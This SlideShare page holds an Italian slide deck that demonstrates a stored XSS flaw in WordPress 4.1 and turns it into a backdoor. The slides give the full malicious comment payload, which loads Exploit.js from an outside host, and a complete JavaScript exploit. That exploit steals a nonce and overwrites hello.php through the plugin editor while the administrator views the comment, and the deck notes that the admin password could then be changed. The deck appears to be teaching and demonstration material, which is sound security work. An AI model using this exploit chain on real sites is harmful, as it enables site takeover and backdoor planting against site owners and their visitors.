SlideShare a Scribd company logo
1 of 14
Download to read offline
Hacking in Action - 1
Introduzione di una backdoor
in un blogWordPress 4.1
VULNERABILITÀ in WordPress 4.1
 La versione 4.1 di WordPress contiene
una grave vulnerabilità di tipo Storage XSS
◦ XSS: Cross Site Scripting
 Esecuzione di uno script (per es. Javascript) sul
computer del visitatore per il tramite di un sito
“pulito”
◦ Stored XSS
 Lo script maligno viene in qualche modo
incorporato nel sito stesso
VULNERABILITÀ in WordPress 4.1
 La dimensione massima di un commento a un post è
pari a 64kB
 Se un commento è più lungo, viene troncato prima di
essere memorizzato nel database
 Se il commento è scritto in HTML, l’operazione di
troncamento porta alla creazione di una stringa
HTML non corretta.
 È possibile in questo modo far sì che ad ogni
visualizzazione del commento venga eseguito dal
client uno script maligno.
VULNERABILITÀ in WordPress 4.1
 Il commento maligno:
<a title='xxx
onmouseover=eval(unescape(/var%20a%3
Ddocument.createElement%28%27script%
27%29%3Ba.setAttribute%28%27src%27%2
C%27http%3A%2F%2Fsitomaligno.altervi
sta.org%2FExploit.js%27%29%3Bdocumen
t.head.appendChild%28a%29/.source))
style=position:absolute;left:0;top:0
;width:5000px;height:5000px
AAAAAAAAAAAA [Almeno 65000
caratteri] AAAAAAAAAAAAAAA'></a>
VULNERABILITÀ in WordPress 4.1
 Lo script risultante
var a.document.createElement(‘script’);
a.setAttribute(‘src’,
’http://sitomaligno.altervista.org/Exploit.js’);
document.head.appendChild(a)
 Viene aggiunto nella sezione head della pagina
Wordpress un riferimento
◦ sitomaligno.altervista.org
◦ Exploit.js
VULNERABILITÀ in WordPress 4.1
 Quando viene eseguito lo script?
◦ Quando il mouse ci finisce sopra.
◦ Sembra un po’ difficile…
 Rendiamo il link un po’ più grosso
position:absolute;
left:0;
top:0;
width:5000px;
height:5000px
 Occupa tutto lo schermo!
Vediamola in azione
 Usiamo uno script semplice e innocuo:
◦ window.alert(“Eccomi”);
 Guarda su YouTube
 Quando lo script viene eseguito
dall’amministratore del blog, possiede
tutti i privilegi di accesso ai file e di
esecuzione delle operazioni
amministrative!
Inserimento di una backdoor
 Proviamo una cosa meno innocua
◦ Carichiamo un file sul server che gestisce il blog
 Ogni installazione di WordPress contiene un
file di prova
◦ hello.php
◦ Contiene semplicemente il testo della canzone
Hello Dolly
◦ Sostanzialmente è un plugin dimostrativo
 Sostituiamo questo file con uno script
prodotto da noi e potenzialmente maligno
◦ <?php echo 'Il sito maligno ha colpito!'; ?>
◦ Potremo eseguire questo script da remoto!
Inserimento di una backdoor
 Come facciamo?
◦ Modifichiamo il file Exploit.js
 Mandiamo una richiesta POST all’editor dei plugin di
WordPress, ordinandogli di aggiornare il file hello.php
◦ In pratica lo sostituiamo con il nostro script maligno
◦ Diventa la nostra backdoor
 Problema
◦ Wordpress genera un codice, detto NONCE, inserito in
ogni form del blog
◦ Il server web convalida solo le richieste POST che
contengono un NONCE valido
◦ In linea di massima ad ogni richiesta di pagina viene
generato un NONCE diverso
Inserimento di una backdoor
 Come otteniamo un NONCE valido per la nostra
richiesta POST?
◦ Inviamo al blog una richiesta GET di visualizzazione
del file hello.php
 La risposta alla richiesta GET conterrà un form per la modifica
del file stesso
 Questo form conterrà un NONCE valido
 Il NONCE valido verrà inserito in una richiesta
POST per l’aggiornamento del file hello.php
◦ Wordpress riconoscerà il NONCE appena generato e
autorizzerà l’aggiornamento del file
 Tutto questo si svolge quando l’amministratore
visualizza il nostro commento maligno
Inserimento di una backdoor
 Ecco lo script - Parte 1
// Funzione che effettua una richiesta GET HTTPS
function httpGet(theUrl)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", theUrl, false );
xmlHttp.setRequestHeader("HTTPS","1");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send( null );
return xmlHttp.responseText;
}
// Funzione che effettua una richiesta POST HTTPS
function httpPost(theUrl,theParameters)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "POST", theUrl, false );
xmlHttp.setRequestHeader("HTTPS","1");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send( theParameters );
return xmlHttp.responseText;
}
Inserimento di una backdoor
 Ecco lo script - Parte 2
// Richiesta del file hello.php (sempre presente nelle
installazioni WordPress)
var hello = httpGet("http://wordpress.promomaremma.net/wp-
admin/plugin-editor.php?file=hello.php&plugin=hello.php");
// Ricerca di un nonce valido
var nonce_pos =
hello.indexOf(unescape("name%3D%22%5Fwpnonce%22%20value%3D%22
"));
var nonce = hello.substr(nonce_pos+23,10);
// Costruzione dei parametri della richiesta POST con il nonce
appena ottenuto
// Costruzione dei parametri della richiesta POST con il nonce
appena ottenuto
var parameters = "_wpnonce=" + nonce + "&_wp_http_referer=" +
escape("/wp-admin/plugin-editor.php") + "&newcontent= " +
escape("<?php echo 'Il sito maligno ha colpito!'; ?>") +
"&action=update&file=hello.php&plugin=hello.php&scrollto=0&do
c-list=&submit=Aggiorna+file";
// Modifica del file hello.php con il contenuto maligno
httpPost("http://wordpress.promomaremma.net/wp-admin/plugin-
editor.php",parameters);
Vediamola in azione
 Notare come tutto venga eseguito
dall’amministratore a sua insaputo
◦ Diversamente non funzionerebbe
 Guarda su YouTube
 Questa falla di sicurezza è stata scoperta nella
versione 3.9.3 di Wordpress
 È stata corretta a partire dalla versione 4.2.1
◦ In realtà le versioni superiori alle 4.1.2 non sono risultate
vulnerabili, ma la 4.2 sì.
 Per il nostro test abbiamo utilizzato la versione 4.1
Ulteriori sviluppi
 La backdoor può essere eseguita sul
momento
◦ Si esegue subito una GET sul file hello.php
appena modificato
 In questo modo si può operare sul blog
come si vuole
◦ Per esempio cambiando la password di
amministratore

More Related Content

What's hot

Introduzione a docker - DockerTutorial.it
Introduzione a docker - DockerTutorial.itIntroduzione a docker - DockerTutorial.it
Introduzione a docker - DockerTutorial.itFabio Ros
 
I Temi in WordPress
I Temi in WordPress I Temi in WordPress
I Temi in WordPress Thomas Vitale
 
Dominare il codice legacy
Dominare il codice legacyDominare il codice legacy
Dominare il codice legacyTommaso Torti
 
SLA Confidential
SLA ConfidentialSLA Confidential
SLA ConfidentialVMUG IT
 
Con Aruba, a lezione di cloud #lezione 22 - parte 2: Unified Storage, un NAS...
Con Aruba, a lezione di cloud #lezione 22  - parte 2: Unified Storage, un NAS...Con Aruba, a lezione di cloud #lezione 22  - parte 2: Unified Storage, un NAS...
Con Aruba, a lezione di cloud #lezione 22 - parte 2: Unified Storage, un NAS...Aruba S.p.A.
 
Single Page Applications
Single Page ApplicationsSingle Page Applications
Single Page ApplicationsRoberto Messora
 
Async navigation with a lightweight ES6 framework
Async navigation with a lightweight ES6 frameworkAsync navigation with a lightweight ES6 framework
Async navigation with a lightweight ES6 frameworksparkfabrik
 
Stanco delle solite Web App? Passa al Prgressive
Stanco delle solite Web App? Passa al PrgressiveStanco delle solite Web App? Passa al Prgressive
Stanco delle solite Web App? Passa al PrgressiveCommit University
 
Bookalive Klaus Kempf Presentazione: Record, Zend e archiviazione
Bookalive Klaus Kempf Presentazione: Record, Zend e archiviazioneBookalive Klaus Kempf Presentazione: Record, Zend e archiviazione
Bookalive Klaus Kempf Presentazione: Record, Zend e archiviazioneInformamuse srl
 

What's hot (14)

Introduzione a docker - DockerTutorial.it
Introduzione a docker - DockerTutorial.itIntroduzione a docker - DockerTutorial.it
Introduzione a docker - DockerTutorial.it
 
Swagger loves webapi
Swagger loves webapiSwagger loves webapi
Swagger loves webapi
 
Swagger loves WebAPI
Swagger loves WebAPISwagger loves WebAPI
Swagger loves WebAPI
 
Infrastructure as Data
Infrastructure as DataInfrastructure as Data
Infrastructure as Data
 
I Temi in WordPress
I Temi in WordPress I Temi in WordPress
I Temi in WordPress
 
Dominare il codice legacy
Dominare il codice legacyDominare il codice legacy
Dominare il codice legacy
 
SLA Confidential
SLA ConfidentialSLA Confidential
SLA Confidential
 
Con Aruba, a lezione di cloud #lezione 22 - parte 2: Unified Storage, un NAS...
Con Aruba, a lezione di cloud #lezione 22  - parte 2: Unified Storage, un NAS...Con Aruba, a lezione di cloud #lezione 22  - parte 2: Unified Storage, un NAS...
Con Aruba, a lezione di cloud #lezione 22 - parte 2: Unified Storage, un NAS...
 
Single Page Applications
Single Page ApplicationsSingle Page Applications
Single Page Applications
 
Async navigation with a lightweight ES6 framework
Async navigation with a lightweight ES6 frameworkAsync navigation with a lightweight ES6 framework
Async navigation with a lightweight ES6 framework
 
Node and the Cloud
Node and the CloudNode and the Cloud
Node and the Cloud
 
Stanco delle solite Web App? Passa al Prgressive
Stanco delle solite Web App? Passa al PrgressiveStanco delle solite Web App? Passa al Prgressive
Stanco delle solite Web App? Passa al Prgressive
 
Pubblicare
PubblicarePubblicare
Pubblicare
 
Bookalive Klaus Kempf Presentazione: Record, Zend e archiviazione
Bookalive Klaus Kempf Presentazione: Record, Zend e archiviazioneBookalive Klaus Kempf Presentazione: Record, Zend e archiviazione
Bookalive Klaus Kempf Presentazione: Record, Zend e archiviazione
 

Similar to Hacking in action - 1

RESTful APIs (ITA) - /w WebMachine
RESTful APIs (ITA) - /w WebMachineRESTful APIs (ITA) - /w WebMachine
RESTful APIs (ITA) - /w WebMachineGiancarlo Valente
 
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.Stefano Bianchini
 
Javascript - 1 | WebMaster & WebDesigner
Javascript - 1 | WebMaster & WebDesignerJavascript - 1 | WebMaster & WebDesigner
Javascript - 1 | WebMaster & WebDesignerMatteo Magni
 
Progettazione e sviluppo di applicazioni web 2.0 con PHP e Ajax
Progettazione e sviluppo di applicazioni web 2.0 con PHP e AjaxProgettazione e sviluppo di applicazioni web 2.0 con PHP e Ajax
Progettazione e sviluppo di applicazioni web 2.0 con PHP e AjaxGiovanni Cappellini
 
Gianfrasoft Corso Di Php Parte 1
Gianfrasoft   Corso Di Php   Parte 1Gianfrasoft   Corso Di Php   Parte 1
Gianfrasoft Corso Di Php Parte 1Gianfranco Fedele
 
Javascript - 1 | WebMaster & WebDesigner
Javascript - 1 | WebMaster & WebDesignerJavascript - 1 | WebMaster & WebDesigner
Javascript - 1 | WebMaster & WebDesignerMatteo Magni
 
Webdays 2004 Blogfordummies2 Ok
Webdays 2004 Blogfordummies2 OkWebdays 2004 Blogfordummies2 Ok
Webdays 2004 Blogfordummies2 OkMassimo Schiro
 
WebSphere Portal & User Experience
WebSphere Portal & User ExperienceWebSphere Portal & User Experience
WebSphere Portal & User ExperienceAndrea Fontana
 
Come sviluppo le applicazioni web
Come sviluppo le applicazioni webCome sviluppo le applicazioni web
Come sviluppo le applicazioni webAndrea Lazzarotto
 

Similar to Hacking in action - 1 (20)

Web frameworks
Web frameworksWeb frameworks
Web frameworks
 
Programming iOS lezione 4
Programming iOS lezione 4Programming iOS lezione 4
Programming iOS lezione 4
 
RESTful APIs (ITA) - /w WebMachine
RESTful APIs (ITA) - /w WebMachineRESTful APIs (ITA) - /w WebMachine
RESTful APIs (ITA) - /w WebMachine
 
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
 
Novità di Asp.Net 4.0
Novità di Asp.Net 4.0Novità di Asp.Net 4.0
Novità di Asp.Net 4.0
 
Javascript - 1 | WebMaster & WebDesigner
Javascript - 1 | WebMaster & WebDesignerJavascript - 1 | WebMaster & WebDesigner
Javascript - 1 | WebMaster & WebDesigner
 
Apache Parte 2
Apache Parte 2Apache Parte 2
Apache Parte 2
 
Progettazione e sviluppo di applicazioni web 2.0 con PHP e Ajax
Progettazione e sviluppo di applicazioni web 2.0 con PHP e AjaxProgettazione e sviluppo di applicazioni web 2.0 con PHP e Ajax
Progettazione e sviluppo di applicazioni web 2.0 con PHP e Ajax
 
Gianfrasoft Corso Di Php Parte 1
Gianfrasoft   Corso Di Php   Parte 1Gianfrasoft   Corso Di Php   Parte 1
Gianfrasoft Corso Di Php Parte 1
 
Linux Day 2009 LAMP HowTo
Linux Day 2009 LAMP HowToLinux Day 2009 LAMP HowTo
Linux Day 2009 LAMP HowTo
 
Asp net (versione 1 e 2)
Asp net (versione 1 e 2)Asp net (versione 1 e 2)
Asp net (versione 1 e 2)
 
Javascript - 1 | WebMaster & WebDesigner
Javascript - 1 | WebMaster & WebDesignerJavascript - 1 | WebMaster & WebDesigner
Javascript - 1 | WebMaster & WebDesigner
 
Yagwto
YagwtoYagwto
Yagwto
 
Programmazione Internet
Programmazione InternetProgrammazione Internet
Programmazione Internet
 
Ajax - Presente e futuro delle applicazioni web
Ajax - Presente e futuro delle applicazioni webAjax - Presente e futuro delle applicazioni web
Ajax - Presente e futuro delle applicazioni web
 
Webdays 2004 Blogfordummies2 Ok
Webdays 2004 Blogfordummies2 OkWebdays 2004 Blogfordummies2 Ok
Webdays 2004 Blogfordummies2 Ok
 
WebSphere Portal & User Experience
WebSphere Portal & User ExperienceWebSphere Portal & User Experience
WebSphere Portal & User Experience
 
IBM WCM e SEO
IBM WCM e SEOIBM WCM e SEO
IBM WCM e SEO
 
WebSphere Portal e WCM #dd12
WebSphere Portal e WCM #dd12WebSphere Portal e WCM #dd12
WebSphere Portal e WCM #dd12
 
Come sviluppo le applicazioni web
Come sviluppo le applicazioni webCome sviluppo le applicazioni web
Come sviluppo le applicazioni web
 

Recently uploaded

XIII Lezione - Arabo G.Rammo @ Libera Accademia Romana
XIII Lezione - Arabo G.Rammo @ Libera Accademia RomanaXIII Lezione - Arabo G.Rammo @ Libera Accademia Romana
XIII Lezione - Arabo G.Rammo @ Libera Accademia RomanaStefano Lariccia
 
Lorenzo D'Emidio- Lavoro sulla Bioarchittetura.pptx
Lorenzo D'Emidio- Lavoro sulla Bioarchittetura.pptxLorenzo D'Emidio- Lavoro sulla Bioarchittetura.pptx
Lorenzo D'Emidio- Lavoro sulla Bioarchittetura.pptxlorenzodemidio01
 
Lorenzo D'Emidio_Vita di Cristoforo Colombo.pptx
Lorenzo D'Emidio_Vita di Cristoforo Colombo.pptxLorenzo D'Emidio_Vita di Cristoforo Colombo.pptx
Lorenzo D'Emidio_Vita di Cristoforo Colombo.pptxlorenzodemidio01
 
Lorenzo D'Emidio_Vita e opere di Aristotele.pptx
Lorenzo D'Emidio_Vita e opere di Aristotele.pptxLorenzo D'Emidio_Vita e opere di Aristotele.pptx
Lorenzo D'Emidio_Vita e opere di Aristotele.pptxlorenzodemidio01
 
XI Lezione - Arabo LAR Giath Rammo @ Libera Accademia Romana
XI Lezione - Arabo LAR Giath Rammo @ Libera Accademia RomanaXI Lezione - Arabo LAR Giath Rammo @ Libera Accademia Romana
XI Lezione - Arabo LAR Giath Rammo @ Libera Accademia RomanaStefano Lariccia
 
Lorenzo D'Emidio_Francesco Petrarca.pptx
Lorenzo D'Emidio_Francesco Petrarca.pptxLorenzo D'Emidio_Francesco Petrarca.pptx
Lorenzo D'Emidio_Francesco Petrarca.pptxlorenzodemidio01
 

Recently uploaded (6)

XIII Lezione - Arabo G.Rammo @ Libera Accademia Romana
XIII Lezione - Arabo G.Rammo @ Libera Accademia RomanaXIII Lezione - Arabo G.Rammo @ Libera Accademia Romana
XIII Lezione - Arabo G.Rammo @ Libera Accademia Romana
 
Lorenzo D'Emidio- Lavoro sulla Bioarchittetura.pptx
Lorenzo D'Emidio- Lavoro sulla Bioarchittetura.pptxLorenzo D'Emidio- Lavoro sulla Bioarchittetura.pptx
Lorenzo D'Emidio- Lavoro sulla Bioarchittetura.pptx
 
Lorenzo D'Emidio_Vita di Cristoforo Colombo.pptx
Lorenzo D'Emidio_Vita di Cristoforo Colombo.pptxLorenzo D'Emidio_Vita di Cristoforo Colombo.pptx
Lorenzo D'Emidio_Vita di Cristoforo Colombo.pptx
 
Lorenzo D'Emidio_Vita e opere di Aristotele.pptx
Lorenzo D'Emidio_Vita e opere di Aristotele.pptxLorenzo D'Emidio_Vita e opere di Aristotele.pptx
Lorenzo D'Emidio_Vita e opere di Aristotele.pptx
 
XI Lezione - Arabo LAR Giath Rammo @ Libera Accademia Romana
XI Lezione - Arabo LAR Giath Rammo @ Libera Accademia RomanaXI Lezione - Arabo LAR Giath Rammo @ Libera Accademia Romana
XI Lezione - Arabo LAR Giath Rammo @ Libera Accademia Romana
 
Lorenzo D'Emidio_Francesco Petrarca.pptx
Lorenzo D'Emidio_Francesco Petrarca.pptxLorenzo D'Emidio_Francesco Petrarca.pptx
Lorenzo D'Emidio_Francesco Petrarca.pptx
 

Hacking in action - 1

  • 1. Hacking in Action - 1 Introduzione di una backdoor in un blogWordPress 4.1
  • 2. VULNERABILITÀ in WordPress 4.1  La versione 4.1 di WordPress contiene una grave vulnerabilità di tipo Storage XSS ◦ XSS: Cross Site Scripting  Esecuzione di uno script (per es. Javascript) sul computer del visitatore per il tramite di un sito “pulito” ◦ Stored XSS  Lo script maligno viene in qualche modo incorporato nel sito stesso
  • 3. VULNERABILITÀ in WordPress 4.1  La dimensione massima di un commento a un post è pari a 64kB  Se un commento è più lungo, viene troncato prima di essere memorizzato nel database  Se il commento è scritto in HTML, l’operazione di troncamento porta alla creazione di una stringa HTML non corretta.  È possibile in questo modo far sì che ad ogni visualizzazione del commento venga eseguito dal client uno script maligno.
  • 4. VULNERABILITÀ in WordPress 4.1  Il commento maligno: <a title='xxx onmouseover=eval(unescape(/var%20a%3 Ddocument.createElement%28%27script% 27%29%3Ba.setAttribute%28%27src%27%2 C%27http%3A%2F%2Fsitomaligno.altervi sta.org%2FExploit.js%27%29%3Bdocumen t.head.appendChild%28a%29/.source)) style=position:absolute;left:0;top:0 ;width:5000px;height:5000px AAAAAAAAAAAA [Almeno 65000 caratteri] AAAAAAAAAAAAAAA'></a>
  • 5. VULNERABILITÀ in WordPress 4.1  Lo script risultante var a.document.createElement(‘script’); a.setAttribute(‘src’, ’http://sitomaligno.altervista.org/Exploit.js’); document.head.appendChild(a)  Viene aggiunto nella sezione head della pagina Wordpress un riferimento ◦ sitomaligno.altervista.org ◦ Exploit.js
  • 6. VULNERABILITÀ in WordPress 4.1  Quando viene eseguito lo script? ◦ Quando il mouse ci finisce sopra. ◦ Sembra un po’ difficile…  Rendiamo il link un po’ più grosso position:absolute; left:0; top:0; width:5000px; height:5000px  Occupa tutto lo schermo!
  • 7. Vediamola in azione  Usiamo uno script semplice e innocuo: ◦ window.alert(“Eccomi”);  Guarda su YouTube  Quando lo script viene eseguito dall’amministratore del blog, possiede tutti i privilegi di accesso ai file e di esecuzione delle operazioni amministrative!
  • 8. Inserimento di una backdoor  Proviamo una cosa meno innocua ◦ Carichiamo un file sul server che gestisce il blog  Ogni installazione di WordPress contiene un file di prova ◦ hello.php ◦ Contiene semplicemente il testo della canzone Hello Dolly ◦ Sostanzialmente è un plugin dimostrativo  Sostituiamo questo file con uno script prodotto da noi e potenzialmente maligno ◦ <?php echo 'Il sito maligno ha colpito!'; ?> ◦ Potremo eseguire questo script da remoto!
  • 9. Inserimento di una backdoor  Come facciamo? ◦ Modifichiamo il file Exploit.js  Mandiamo una richiesta POST all’editor dei plugin di WordPress, ordinandogli di aggiornare il file hello.php ◦ In pratica lo sostituiamo con il nostro script maligno ◦ Diventa la nostra backdoor  Problema ◦ Wordpress genera un codice, detto NONCE, inserito in ogni form del blog ◦ Il server web convalida solo le richieste POST che contengono un NONCE valido ◦ In linea di massima ad ogni richiesta di pagina viene generato un NONCE diverso
  • 10. Inserimento di una backdoor  Come otteniamo un NONCE valido per la nostra richiesta POST? ◦ Inviamo al blog una richiesta GET di visualizzazione del file hello.php  La risposta alla richiesta GET conterrà un form per la modifica del file stesso  Questo form conterrà un NONCE valido  Il NONCE valido verrà inserito in una richiesta POST per l’aggiornamento del file hello.php ◦ Wordpress riconoscerà il NONCE appena generato e autorizzerà l’aggiornamento del file  Tutto questo si svolge quando l’amministratore visualizza il nostro commento maligno
  • 11. Inserimento di una backdoor  Ecco lo script - Parte 1 // Funzione che effettua una richiesta GET HTTPS function httpGet(theUrl) { var xmlHttp = new XMLHttpRequest(); xmlHttp.open( "GET", theUrl, false ); xmlHttp.setRequestHeader("HTTPS","1"); xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); xmlHttp.send( null ); return xmlHttp.responseText; } // Funzione che effettua una richiesta POST HTTPS function httpPost(theUrl,theParameters) { var xmlHttp = new XMLHttpRequest(); xmlHttp.open( "POST", theUrl, false ); xmlHttp.setRequestHeader("HTTPS","1"); xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); xmlHttp.send( theParameters ); return xmlHttp.responseText; }
  • 12. Inserimento di una backdoor  Ecco lo script - Parte 2 // Richiesta del file hello.php (sempre presente nelle installazioni WordPress) var hello = httpGet("http://wordpress.promomaremma.net/wp- admin/plugin-editor.php?file=hello.php&plugin=hello.php"); // Ricerca di un nonce valido var nonce_pos = hello.indexOf(unescape("name%3D%22%5Fwpnonce%22%20value%3D%22 ")); var nonce = hello.substr(nonce_pos+23,10); // Costruzione dei parametri della richiesta POST con il nonce appena ottenuto // Costruzione dei parametri della richiesta POST con il nonce appena ottenuto var parameters = "_wpnonce=" + nonce + "&_wp_http_referer=" + escape("/wp-admin/plugin-editor.php") + "&newcontent= " + escape("<?php echo 'Il sito maligno ha colpito!'; ?>") + "&action=update&file=hello.php&plugin=hello.php&scrollto=0&do c-list=&submit=Aggiorna+file"; // Modifica del file hello.php con il contenuto maligno httpPost("http://wordpress.promomaremma.net/wp-admin/plugin- editor.php",parameters);
  • 13. Vediamola in azione  Notare come tutto venga eseguito dall’amministratore a sua insaputo ◦ Diversamente non funzionerebbe  Guarda su YouTube  Questa falla di sicurezza è stata scoperta nella versione 3.9.3 di Wordpress  È stata corretta a partire dalla versione 4.2.1 ◦ In realtà le versioni superiori alle 4.1.2 non sono risultate vulnerabili, ma la 4.2 sì.  Per il nostro test abbiamo utilizzato la versione 4.1
  • 14. Ulteriori sviluppi  La backdoor può essere eseguita sul momento ◦ Si esegue subito una GET sul file hello.php appena modificato  In questo modo si può operare sul blog come si vuole ◦ Per esempio cambiando la password di amministratore